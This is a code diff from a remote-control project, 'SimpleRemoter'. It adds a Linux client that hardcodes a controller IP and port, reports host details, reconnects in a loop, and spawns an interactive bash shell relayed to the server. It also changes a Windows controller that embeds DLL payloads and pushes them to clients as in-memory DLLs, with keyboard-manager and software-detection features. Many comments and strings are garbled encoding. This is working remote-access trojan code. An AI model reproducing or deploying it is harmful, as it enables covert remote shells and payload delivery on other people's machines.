set(CMAKE_CXX_STANDARD 11)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED 11)
|
||||
|
||||
cmake_minimum_required(VERSION 3.22)
|
||||
|
||||
# 定义项目名称和版本
|
||||
project(SimpleRemoter VERSION 1.0)
|
||||
|
||||
# 设置编译器标志 - 尝试静态链接所有库
|
||||
set(CMAKE_EXE_LINKER_FLAGS "-static")
|
||||
|
||||
# 对于C++项目,确保标准库也静态链接
|
||||
if(CMAKE_CXX_COMPILER_ID STREQUAL "GNU")
|
||||
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -static-libstdc++ -static-libgcc")
|
||||
endif()
|
||||
|
||||
include_directories(${CMAKE_SOURCE_DIR}/mterm)
|
||||
|
||||
# 额外的包含目录
|
||||
include_directories(../)
|
||||
include_directories(../client)
|
||||
include_directories(../compress)
|
||||
|
||||
# 添加可执行文件
|
||||
set(SOURCES
|
||||
main.cpp
|
||||
../client/Buffer.cpp
|
||||
../client/IOCPClient.cpp
|
||||
)
|
||||
add_executable(ghost ${SOURCES})
|
||||
|
||||
|
||||
# 设置为可以调试
|
||||
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -g")
|
||||
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -g")
|
||||
|
||||
# 链接 ZSTD 库
|
||||
message(STATUS "链接库文件: ${CMAKE_SOURCE_DIR}/lib/libzstd.a")
|
||||
target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libzstd.a")
|
||||
BIN
linux/lib/libzstd.a
Normal file
244
linux/main.cpp
Normal file
@@ -0,0 +1,244 @@
|
||||
#include "common/commands.h"
|
||||
#include "client/IOCPClient.h"
|
||||
#include <unistd.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <string.h>
|
||||
#include <termios.h>
|
||||
#include <thread>
|
||||
#include <fcntl.h>
|
||||
#include <atomic>
|
||||
#include <pty.h>
|
||||
#include <iostream>
|
||||
#include <mutex>
|
||||
#include <stdexcept>
|
||||
#include <cstdio>
|
||||
#include <memory>
|
||||
#include <array>
|
||||
#include <regex>
|
||||
#include <fstream>
|
||||
|
||||
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
|
||||
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "192.168.0.92", "6543", CLIENT_TYPE_LINUX};
|
||||
|
||||
// 全局状态
|
||||
State g_bExit = S_CLIENT_NORMAL;
|
||||
|
||||
// 伪终端处理类:继承自IOCPManager.
|
||||
class PTYHandler : public IOCPManager {
|
||||
public:
|
||||
PTYHandler(IOCPClient *client) : m_client(client), m_running(false) {
|
||||
if (!client) {
|
||||
throw std::invalid_argument("IOCPClient pointer cannot be null");
|
||||
}
|
||||
|
||||
// 创建伪终端
|
||||
if (openpty(&m_master_fd, &m_slave_fd, nullptr, nullptr, nullptr) == -1) {
|
||||
throw std::runtime_error("Failed to create pseudo terminal");
|
||||
}
|
||||
|
||||
// 设置伪终端为非阻塞模式
|
||||
int flags = fcntl(m_master_fd, F_GETFL, 0);
|
||||
fcntl(m_master_fd, F_SETFL, flags | O_NONBLOCK);
|
||||
|
||||
// 启动 Shell 进程
|
||||
startShell();
|
||||
}
|
||||
|
||||
~PTYHandler() {
|
||||
m_running = false;
|
||||
if (m_readThread.joinable()) m_readThread.join();
|
||||
close(m_master_fd);
|
||||
close(m_slave_fd);
|
||||
}
|
||||
|
||||
// 启动读取线程
|
||||
void Start(){
|
||||
if (m_running) return;
|
||||
m_running = true;
|
||||
m_readThread = std::thread(&PTYHandler::readFromPTY, this);
|
||||
}
|
||||
|
||||
virtual VOID OnReceive(PBYTE data, ULONG size) {
|
||||
if (size && data[0] == COMMAND_NEXT){
|
||||
Start();
|
||||
return;
|
||||
}
|
||||
std::string s((char*)data, size); Mprintf(s.c_str());
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
if (size > 0) {
|
||||
write(m_master_fd, (char*)data, size);
|
||||
}
|
||||
}
|
||||
private:
|
||||
int m_master_fd, m_slave_fd;
|
||||
IOCPClient *m_client;
|
||||
std::thread m_readThread;
|
||||
std::atomic<bool> m_running;
|
||||
std::mutex m_mutex;
|
||||
pid_t m_child_pid;
|
||||
|
||||
void startShell() {
|
||||
m_child_pid = fork();
|
||||
if (m_child_pid == 0) { // 子进程
|
||||
setsid(); // 创建新的会话
|
||||
dup2(m_slave_fd, STDIN_FILENO);
|
||||
dup2(m_slave_fd, STDOUT_FILENO);
|
||||
dup2(m_slave_fd, STDERR_FILENO);
|
||||
close(m_master_fd);
|
||||
close(m_slave_fd);
|
||||
|
||||
// 关闭回显、禁用 ANSI 颜色、关闭 PS1
|
||||
const char* shell_cmd =
|
||||
"stty -echo -icanon; " // 禁用回显和规范模式
|
||||
"export TERM=dumb; " // 设置终端类型为 dumb
|
||||
"export LS_COLORS=''; " // 禁用颜色
|
||||
"export PS1='>'; " // 设置提示符
|
||||
//"clear; " // 清空终端
|
||||
"exec /bin/bash --norc --noprofile -i"; // 启动 Bash
|
||||
execl("/bin/bash", "/bin/bash", "-c", shell_cmd, nullptr);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
void readFromPTY() {
|
||||
char buffer[4096];
|
||||
while (m_running) {
|
||||
ssize_t bytes_read = 0;
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
bytes_read = read(m_master_fd, buffer, sizeof(buffer));
|
||||
}
|
||||
if (bytes_read > 0) {
|
||||
if (m_client) {
|
||||
buffer[bytes_read] = 0; Mprintf(buffer);
|
||||
m_client->Send2Server(buffer, bytes_read);
|
||||
}
|
||||
} else if (bytes_read == -1) {
|
||||
usleep(10000);
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
void *ShellworkingThread(void *param){
|
||||
IOCPClient *ClientObject = new IOCPClient(g_bExit, true);
|
||||
Mprintf(">>> Enter ShellworkingThread [%p]\n", ClientObject);
|
||||
if ( !g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||
PTYHandler *handler=new PTYHandler(ClientObject);
|
||||
ClientObject->setManagerCallBack(handler, IOCPManager::DataProcess);
|
||||
BYTE bToken = TOKEN_SHELL_START;
|
||||
ClientObject->Send2Server((char*)&bToken, 1);
|
||||
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_SHELL_START\n", ClientObject);
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL==g_bExit)
|
||||
Sleep(1000);
|
||||
|
||||
delete handler;
|
||||
}
|
||||
delete ClientObject;
|
||||
Mprintf(">>> Leave ShellworkingThread [%p]\n", ClientObject);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) {
|
||||
if (szBuffer==nullptr || ulLength ==0)
|
||||
return TRUE;
|
||||
|
||||
if (szBuffer[0] == COMMAND_BYE) {
|
||||
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
}else if (szBuffer[0] == COMMAND_SHELL){
|
||||
pthread_t id = 0;
|
||||
HANDLE m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, ShellworkingThread, nullptr);
|
||||
Mprintf("** [%p] Received 'SHELL' command ***\n", user);
|
||||
}else if (szBuffer[0]==COMMAND_NEXT){
|
||||
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
|
||||
}else {
|
||||
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// 方法1: 解析 lscpu 命令(优先使用)
|
||||
double parse_lscpu() {
|
||||
std::array<char, 128> buffer;
|
||||
std::string result;
|
||||
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen("lscpu", "r"), pclose);
|
||||
if (!pipe) return -1.0;
|
||||
|
||||
while (fgets(buffer.data(), buffer.size(), pipe.get())) {
|
||||
result += buffer.data();
|
||||
}
|
||||
|
||||
// 匹配 "Model name" 中的频率(如 "Intel(R) Core(TM) i5-6300HQ CPU @ 2.30GHz")
|
||||
std::regex model_regex("@ ([0-9.]+)GHz");
|
||||
std::smatch match;
|
||||
if (std::regex_search(result, match, model_regex) && match.size() > 1) {
|
||||
return std::stod(match[1].str()) * 1000; // GHz -> MHz
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
// 方法2: 解析 /proc/cpuinfo(备用)
|
||||
double parse_cpuinfo() {
|
||||
std::ifstream cpuinfo("/proc/cpuinfo");
|
||||
std::string line;
|
||||
std::regex freq_regex("@ ([0-9.]+)GHz");
|
||||
|
||||
while (std::getline(cpuinfo, line)) {
|
||||
if (line.find("model name") != std::string::npos) {
|
||||
std::smatch match;
|
||||
if (std::regex_search(line, match, freq_regex) && match.size() > 1) {
|
||||
return std::stod(match[1].str()) * 1000; // GHz -> MHz
|
||||
}
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
// 一个基于Linux操作系统实现的受控程序例子: 当前只实现了注册、删除和终端功能.
|
||||
int main() {
|
||||
char hostname[256]={};
|
||||
if (gethostname(hostname, sizeof(hostname)) == 0) {
|
||||
std::cout << "Hostname: " << hostname << std::endl;
|
||||
} else {
|
||||
std::cerr << "Failed to get hostname" << std::endl;
|
||||
}
|
||||
struct utsname systemInfo={};
|
||||
if (uname(&systemInfo) == 0) {
|
||||
std::cout << "System Name: " << systemInfo.sysname << std::endl;
|
||||
} else {
|
||||
std::cerr << "Failed to get system info" << std::endl;
|
||||
}
|
||||
|
||||
LOGIN_INFOR logInfo;
|
||||
strcpy(logInfo.szPCName, hostname);
|
||||
strcpy(logInfo.OsVerInfoEx, systemInfo.sysname);
|
||||
strcpy(logInfo.szStartTime, ToPekingTimeAsString(nullptr).c_str());
|
||||
double freq = parse_lscpu(); // 优先使用 lscpu
|
||||
if (freq < 0) freq = parse_cpuinfo(); // 回退到 /proc/cpuinfo
|
||||
logInfo.dwCPUMHz = freq > 0 ? static_cast<unsigned int>(freq) : 0;
|
||||
logInfo.bWebCamIsExist = 0;
|
||||
strcpy_s(logInfo.szReserved, "LNX");
|
||||
|
||||
IOCPClient *ClientObject = new IOCPClient(g_bExit, false);
|
||||
ClientObject->setManagerCallBack(NULL, DataProcess);
|
||||
while (!g_bExit)
|
||||
{
|
||||
clock_t c = clock();
|
||||
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())){
|
||||
Sleep(5000);
|
||||
}
|
||||
|
||||
ClientObject->SendLoginInfo(logInfo.Speed(clock()-c));
|
||||
|
||||
do {
|
||||
Sleep(5000);
|
||||
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL==g_bExit);
|
||||
}
|
||||
|
||||
delete ClientObject;
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -64,6 +64,8 @@ CMy2015RemoteApp::CMy2015RemoteApp()
|
||||
// TODO: <20>ڴ˴<DAB4><CBB4><EFBFBD><EFBFBD>ӹ<EFBFBD><D3B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룬
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> InitInstance <20><>
|
||||
m_Mutex = NULL;
|
||||
|
||||
m_iocpServer = new IOCPServer();
|
||||
}
|
||||
|
||||
|
||||
@@ -113,7 +115,7 @@ BOOL CMy2015RemoteApp::InitInstance()
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>˾<EFBFBD><CBBE><EFBFBD><EFBFBD>֯<EFBFBD><D6AF>
|
||||
SetRegistryKey(_T("Remoter"));
|
||||
|
||||
CMy2015RemoteDlg dlg;
|
||||
CMy2015RemoteDlg dlg(m_iocpServer);
|
||||
m_pMainWnd = &dlg;
|
||||
INT_PTR nResponse = dlg.DoModal();
|
||||
if (nResponse == IDOK)
|
||||
@@ -146,6 +148,11 @@ int CMy2015RemoteApp::ExitInstance()
|
||||
CloseHandle(m_Mutex);
|
||||
m_Mutex = NULL;
|
||||
}
|
||||
|
||||
if (m_iocpServer != NULL)
|
||||
{
|
||||
m_iocpServer->Destroy();
|
||||
delete m_iocpServer;
|
||||
m_iocpServer = NULL;
|
||||
}
|
||||
return CWinApp::ExitInstance();
|
||||
}
|
||||
|
||||
@@ -10,6 +10,7 @@
|
||||
|
||||
#include "resource.h" // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#include "iniFile.h"
|
||||
#include "IOCPServer.h"
|
||||
|
||||
// CMy2015RemoteApp:
|
||||
// <20>йش<D0B9><D8B4><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD>֣<EFBFBD><D6A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 2015Remote.cpp
|
||||
@@ -21,6 +22,7 @@ public:
|
||||
CMy2015RemoteApp();
|
||||
iniFile m_iniFile;
|
||||
HANDLE m_Mutex;
|
||||
IOCPServer* m_iocpServer;
|
||||
// <20><>д
|
||||
public:
|
||||
virtual BOOL InitInstance();
|
||||
|
||||
@@ -20,6 +20,10 @@
|
||||
#include "VideoDlg.h"
|
||||
#include <vector>
|
||||
#include "KeyBoardDlg.h"
|
||||
#include "InputDlg.h"
|
||||
#include "CPasswordDlg.h"
|
||||
#include "pwd_gen.h"
|
||||
#include "DateVerify.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
@@ -38,7 +42,7 @@ enum
|
||||
ONLINELIST_VIDEO, //<2F><><EFBFBD><EFBFBD>ͷ(<28><><EFBFBD><EFBFBD>)
|
||||
ONLINELIST_PING, //PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
||||
ONLINELIST_VERSION, // <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||
ONLINELIST_LOGINTIME, // <20><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><EFBFBD>
|
||||
ONLINELIST_LOGINTIME, // <20><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ONLINELIST_CLIENTTYPE, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ONLINELIST_MAX,
|
||||
};
|
||||
@@ -62,7 +66,7 @@ COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] =
|
||||
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ", 72 },
|
||||
{"PING", 100 },
|
||||
{"<EFBFBD>汾", 80 },
|
||||
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><EFBFBD>", 150 },
|
||||
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 150 },
|
||||
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 50 },
|
||||
};
|
||||
|
||||
@@ -79,7 +83,7 @@ COLUMNSTRUCT g_Column_Data_Message[g_Column_Count_Message] =
|
||||
|
||||
int g_Column_Online_Width = 0;
|
||||
int g_Column_Message_Width = 0;
|
||||
IOCPServer *m_iocpServer = NULL;
|
||||
|
||||
CMy2015RemoteDlg* g_2015RemoteDlg = NULL;
|
||||
|
||||
static UINT Indicators[] =
|
||||
@@ -119,13 +123,16 @@ END_MESSAGE_MAP()
|
||||
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
|
||||
CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
|
||||
CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
|
||||
{
|
||||
m_iocpServer = iocpServer;
|
||||
m_hExit = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
|
||||
|
||||
m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE);
|
||||
m_bmOnline[1].LoadBitmap(IDB_BITMAP_UPDATE);
|
||||
m_bmOnline[2].LoadBitmap(IDB_BITMAP_DELETE);
|
||||
m_bmOnline[3].LoadBitmap(IDB_BITMAP_SHARE);
|
||||
|
||||
InitializeCriticalSection(&m_cs);
|
||||
}
|
||||
@@ -134,6 +141,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
|
||||
CMy2015RemoteDlg::~CMy2015RemoteDlg()
|
||||
{
|
||||
DeleteCriticalSection(&m_cs);
|
||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++)
|
||||
SAFE_DELETE(m_ServerDLL[i]);
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::DoDataExchange(CDataExchange* pDX)
|
||||
@@ -187,6 +196,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_MESSAGE(WM_HANDLEMESSAGE, OnHandleMessage)
|
||||
ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyboardDialog)
|
||||
ON_WM_HELPINFO()
|
||||
ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare)
|
||||
ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -382,6 +393,8 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
||||
|
||||
ShowMessage(true,strIP+"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||
LeaveCriticalSection(&m_cs);
|
||||
|
||||
SendMasterSettings(ContextObject);
|
||||
}
|
||||
|
||||
|
||||
@@ -405,6 +418,41 @@ VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg)
|
||||
m_StatusBar.SetPaneText(0,strStatusMsg); //<2F><>״̬<D7B4><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
||||
}
|
||||
|
||||
Buffer* ReadKernelDll(bool is64Bit) {
|
||||
BYTE* szBuffer = NULL;
|
||||
int dwFileSize = 0;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ MY_BINARY_FILE <20><> BINARY <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ
|
||||
auto id = is64Bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86;
|
||||
HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(id), "BINARY");
|
||||
if (hResource == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
// <20><>ȡ<EFBFBD><C8A1>Դ<EFBFBD>Ĵ<EFBFBD>С
|
||||
DWORD dwSize = SizeofResource(NULL, hResource);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ
|
||||
HGLOBAL hLoadedResource = LoadResource(NULL, hResource);
|
||||
if (hLoadedResource == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD>ȡָ<C8A1><D6B8><EFBFBD><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD>ݵ<EFBFBD>ָ<EFBFBD><D6B8>
|
||||
LPVOID pData = LockResource(hLoadedResource);
|
||||
if (pData == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
dwFileSize = dwSize;
|
||||
szBuffer = new BYTE[sizeof(int) + dwFileSize + 2];
|
||||
szBuffer[0] = CMD_DLLDATA;
|
||||
szBuffer[1] = MEMORYDLL;
|
||||
memcpy(szBuffer + 2, &dwFileSize, sizeof(int));
|
||||
memcpy(szBuffer + 2 + sizeof(int), pData, dwFileSize);
|
||||
// CMD_DLLDATA + SHELLCODE + dwFileSize + pData
|
||||
auto ret = new Buffer(szBuffer, sizeof(int) + dwFileSize + 2);
|
||||
delete[] szBuffer;
|
||||
return ret;
|
||||
}
|
||||
|
||||
BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
{
|
||||
CDialogEx::OnInitDialog();
|
||||
@@ -429,6 +477,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
|
||||
}
|
||||
}
|
||||
m_ServerDLL[PAYLOAD_DLL_X86] = ReadKernelDll(false);
|
||||
m_ServerDLL[PAYLOAD_DLL_X64] = ReadKernelDll(true);
|
||||
|
||||
// <20><><EFBFBD>ô˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD>ͼ<EFBFBD>ꡣ<EFBFBD><EAA1A3>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><DAB2>ǶԻ<C7B6><D4BB><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>ܽ<EFBFBD><DCBD>Զ<EFBFBD>
|
||||
// ִ<>д˲<D0B4><CBB2><EFBFBD>
|
||||
@@ -451,7 +501,16 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
OnCancel();
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
int m = atoi(((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "ReportInterval", "5"));
|
||||
int n = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "SoftwareDetect");
|
||||
m_settings = { m, sizeof(void*) == 8, __DATE__, n };
|
||||
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ"}, {SOFTWARE_TELEGRAM, "<EFBFBD>籨" }};
|
||||
std::string str = myMap[n];
|
||||
LVCOLUMN lvColumn;
|
||||
memset(&lvColumn, 0, sizeof(LVCOLUMN));
|
||||
lvColumn.mask = LVCF_TEXT;
|
||||
lvColumn.pszText = (char*)str.data();
|
||||
m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn);
|
||||
timeBeginPeriod(1);
|
||||
|
||||
return TRUE; // <20><><EFBFBD>ǽ<EFBFBD><C7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> TRUE
|
||||
@@ -601,13 +660,19 @@ void CMy2015RemoteDlg::Release(){
|
||||
m_iocpServer->OnClientPreSending(ContextObject, &bToken, sizeof(BYTE));
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
Sleep(200);
|
||||
Sleep(500);
|
||||
|
||||
if (m_iocpServer!=NULL)
|
||||
if (m_iocpServer != NULL)
|
||||
{
|
||||
delete m_iocpServer;
|
||||
m_iocpServer->Destroy();
|
||||
m_iocpServer = NULL;
|
||||
}
|
||||
g_2015RemoteDlg = NULL;
|
||||
SetEvent(m_hExit);
|
||||
CloseHandle(m_hExit);
|
||||
m_hExit = NULL;
|
||||
Sleep(500);
|
||||
|
||||
timeEndPeriod(1);
|
||||
}
|
||||
|
||||
@@ -683,6 +748,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_SHARE, MF_BYCOMMAND, &m_bmOnline[3], &m_bmOnline[3]);
|
||||
SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
|
||||
|
||||
*pResult = 0;
|
||||
@@ -837,14 +903,105 @@ VOID CMy2015RemoteDlg::OnOnlineKeyboardManager()
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
std::vector<std::string> splitString(const std::string& str, char delimiter) {
|
||||
std::vector<std::string> result;
|
||||
std::stringstream ss(str);
|
||||
std::string item;
|
||||
|
||||
while (std::getline(ss, item, delimiter)) {
|
||||
result.push_back(item);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
std::string joinString(const std::vector<std::string>& tokens, char delimiter) {
|
||||
std::ostringstream oss;
|
||||
|
||||
for (size_t i = 0; i < tokens.size(); ++i) {
|
||||
oss << tokens[i];
|
||||
if (i != tokens.size() - 1) { // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>Ԫ<EFBFBD>غ<EFBFBD><D8BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӷָ<D3B7><D6B8><EFBFBD>
|
||||
oss << delimiter;
|
||||
}
|
||||
}
|
||||
|
||||
return oss.str();
|
||||
}
|
||||
|
||||
|
||||
bool CMy2015RemoteDlg::CheckValid() {
|
||||
DateVerify verify;
|
||||
#ifdef _DEBUG
|
||||
BOOL isTrail = verify.isTrail(0);
|
||||
#else
|
||||
BOOL isTrail = verify.isTrail(14);
|
||||
#endif
|
||||
|
||||
if (!isTrail) {
|
||||
auto THIS_APP = (CMy2015RemoteApp*)AfxGetApp();
|
||||
auto settings = "settings", pwdKey = "Password";
|
||||
// <20><>֤<EFBFBD><D6A4><EFBFBD><EFBFBD>
|
||||
CPasswordDlg dlg;
|
||||
std::string hardwareID = getHardwareID();
|
||||
std::string hashedID = hashSHA256(hardwareID);
|
||||
std::string deviceID = getFixedLengthID(hashedID);
|
||||
CString pwd = THIS_APP->m_iniFile.GetStr(settings, pwdKey, "");
|
||||
|
||||
dlg.m_sDeviceID = deviceID.c_str();
|
||||
dlg.m_sPassword = pwd;
|
||||
if (pwd.IsEmpty() && IDOK != dlg.DoModal() || dlg.m_sPassword.IsEmpty())
|
||||
return false;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD>20250209 - 20350209: SHA256
|
||||
auto v = splitString(dlg.m_sPassword.GetBuffer(), '-');
|
||||
if (v.size() != 6)
|
||||
{
|
||||
THIS_APP->m_iniFile.SetStr(settings, pwdKey, "");
|
||||
MessageBox("<EFBFBD><EFBFBD>ʽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
|
||||
return false;
|
||||
}
|
||||
std::vector<std::string> subvector(v.begin() + 2, v.end());
|
||||
std::string password = v[0] + " - " + v[1] + ": " + PWD_HASH256;
|
||||
std::string finalKey = deriveKey(password, deviceID);
|
||||
std::string hash256 = joinString(subvector, '-');
|
||||
std::string fixedKey = getFixedLengthID(finalKey);
|
||||
if (hash256 != fixedKey) {
|
||||
THIS_APP->m_iniFile.SetStr(settings, pwdKey, "");
|
||||
if (pwd.IsEmpty() || (IDOK != dlg.DoModal() || hash256 != fixedKey)) {
|
||||
if (!dlg.m_sPassword.IsEmpty())
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><EFBFBD><DEB7><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
auto pekingTime = ToPekingTime(nullptr);
|
||||
char curDate[9];
|
||||
std::strftime(curDate, sizeof(curDate), "%Y%m%d", &pekingTime);
|
||||
if (curDate < v[0] || curDate > v[1]) {
|
||||
THIS_APP->m_iniFile.SetStr(settings, pwdKey, "");
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
|
||||
return false;
|
||||
}
|
||||
if (dlg.m_sPassword != pwd)
|
||||
THIS_APP->m_iniFile.SetStr(settings, pwdKey, dlg.m_sPassword);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineBuildClient()
|
||||
{
|
||||
